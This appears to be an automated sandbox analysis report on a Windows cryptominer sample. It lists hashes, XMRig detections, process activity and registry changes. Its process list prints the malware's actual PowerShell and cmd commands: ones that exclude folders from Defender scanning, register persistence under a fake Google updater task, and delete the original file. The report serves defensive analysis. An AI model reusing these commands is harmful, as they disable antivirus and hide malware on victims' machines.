Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1797s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
description pid Process procid_target PID 2460 created 3468 2460 6vHkJ4UErTSS5ECD.exe 40 PID 2460 created 3468 2460 6vHkJ4UErTSS5ECD.exe 40 PID 2460 created 3468 2460 6vHkJ4UErTSS5ECD.exe 40 PID 2460 created 3468 2460 6vHkJ4UErTSS5ECD.exe 40 PID 1548 created 3468 1548 updater.exe 40 PID 1548 created 3468 1548 updater.exe 40 PID 1548 created 3468 1548 updater.exe 40 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral6/memory/4920-125-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-127-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-130-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-132-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-134-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-138-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-140-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-142-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-144-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-146-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-148-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-150-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-152-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-154-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-156-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-158-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-160-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-162-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-164-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-166-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-168-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-170-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-172-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-174-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-176-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-178-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-180-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-182-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-184-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig behavioral6/memory/4920-186-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1548 updater.exe -
resource yara_rule behavioral6/memory/4920-118-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-125-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-127-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-130-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-132-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-134-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-138-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-140-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-142-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-144-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-146-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-148-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-150-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-152-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-154-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-156-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-158-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-160-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-162-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-164-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-166-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-168-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-170-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-172-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-174-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-176-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-178-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-180-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-182-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-184-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx behavioral6/memory/4920-186-0x00007FF7D1920000-0x00007FF7D2114000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1548 set thread context of 2472 1548 updater.exe 116 PID 1548 set thread context of 4920 1548 updater.exe 110 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 6vHkJ4UErTSS5ECD.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4624 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2460 6vHkJ4UErTSS5ECD.exe 2460 6vHkJ4UErTSS5ECD.exe 524 powershell.exe 524 powershell.exe 2460 6vHkJ4UErTSS5ECD.exe 2460 6vHkJ4UErTSS5ECD.exe 4704 powershell.exe 4704 powershell.exe 2460 6vHkJ4UErTSS5ECD.exe 2460 6vHkJ4UErTSS5ECD.exe 2460 6vHkJ4UErTSS5ECD.exe 2460 6vHkJ4UErTSS5ECD.exe 4196 powershell.exe 4196 powershell.exe 1548 updater.exe 1548 updater.exe 4616 powershell.exe 4616 powershell.exe 1548 updater.exe 1548 updater.exe 5048 powershell.exe 5048 powershell.exe 1548 updater.exe 1548 updater.exe 1548 updater.exe 1548 updater.exe 2472 conhost.exe 2472 conhost.exe 1548 updater.exe 1548 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 524 powershell.exe Token: SeDebugPrivilege 4704 powershell.exe Token: SeIncreaseQuotaPrivilege 4704 powershell.exe Token: SeSecurityPrivilege 4704 powershell.exe Token: SeTakeOwnershipPrivilege 4704 powershell.exe Token: SeLoadDriverPrivilege 4704 powershell.exe Token: SeSystemProfilePrivilege 4704 powershell.exe Token: SeSystemtimePrivilege 4704 powershell.exe Token: SeProfSingleProcessPrivilege 4704 powershell.exe Token: SeIncBasePriorityPrivilege 4704 powershell.exe Token: SeCreatePagefilePrivilege 4704 powershell.exe Token: SeBackupPrivilege 4704 powershell.exe Token: SeRestorePrivilege 4704 powershell.exe Token: SeShutdownPrivilege 4704 powershell.exe Token: SeDebugPrivilege 4704 powershell.exe Token: SeSystemEnvironmentPrivilege 4704 powershell.exe Token: SeRemoteShutdownPrivilege 4704 powershell.exe Token: SeUndockPrivilege 4704 powershell.exe Token: SeManageVolumePrivilege 4704 powershell.exe Token: 33 4704 powershell.exe Token: 34 4704 powershell.exe Token: 35 4704 powershell.exe Token: 36 4704 powershell.exe Token: SeIncreaseQuotaPrivilege 4704 powershell.exe Token: SeSecurityPrivilege 4704 powershell.exe Token: SeTakeOwnershipPrivilege 4704 powershell.exe Token: SeLoadDriverPrivilege 4704 powershell.exe Token: SeSystemProfilePrivilege 4704 powershell.exe Token: SeSystemtimePrivilege 4704 powershell.exe Token: SeProfSingleProcessPrivilege 4704 powershell.exe Token: SeIncBasePriorityPrivilege 4704 powershell.exe Token: SeCreatePagefilePrivilege 4704 powershell.exe Token: SeBackupPrivilege 4704 powershell.exe Token: SeRestorePrivilege 4704 powershell.exe Token: SeShutdownPrivilege 4704 powershell.exe Token: SeDebugPrivilege 4704 powershell.exe Token: SeSystemEnvironmentPrivilege 4704 powershell.exe Token: SeRemoteShutdownPrivilege 4704 powershell.exe Token: SeUndockPrivilege 4704 powershell.exe Token: SeManageVolumePrivilege 4704 powershell.exe Token: 33 4704 powershell.exe Token: 34 4704 powershell.exe Token: 35 4704 powershell.exe Token: 36 4704 powershell.exe Token: SeIncreaseQuotaPrivilege 4704 powershell.exe Token: SeSecurityPrivilege 4704 powershell.exe Token: SeTakeOwnershipPrivilege 4704 powershell.exe Token: SeLoadDriverPrivilege 4704 powershell.exe Token: SeSystemProfilePrivilege 4704 powershell.exe Token: SeSystemtimePrivilege 4704 powershell.exe Token: SeProfSingleProcessPrivilege 4704 powershell.exe Token: SeIncBasePriorityPrivilege 4704 powershell.exe Token: SeCreatePagefilePrivilege 4704 powershell.exe Token: SeBackupPrivilege 4704 powershell.exe Token: SeRestorePrivilege 4704 powershell.exe Token: SeShutdownPrivilege 4704 powershell.exe Token: SeDebugPrivilege 4704 powershell.exe Token: SeSystemEnvironmentPrivilege 4704 powershell.exe Token: SeRemoteShutdownPrivilege 4704 powershell.exe Token: SeUndockPrivilege 4704 powershell.exe Token: SeManageVolumePrivilege 4704 powershell.exe Token: 33 4704 powershell.exe Token: 34 4704 powershell.exe Token: 35 4704 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1052 wrote to memory of 4004 1052 cmd.exe 98 PID 1052 wrote to memory of 4004 1052 cmd.exe 98 PID 4196 wrote to memory of 1100 4196 powershell.exe 100 PID 4196 wrote to memory of 1100 4196 powershell.exe 100 PID 1548 wrote to memory of 2472 1548 updater.exe 116 PID 3920 wrote to memory of 4624 3920 cmd.exe 111 PID 3920 wrote to memory of 4624 3920 cmd.exe 111 PID 1548 wrote to memory of 4920 1548 updater.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2460
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3468
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:524
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4196
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4616
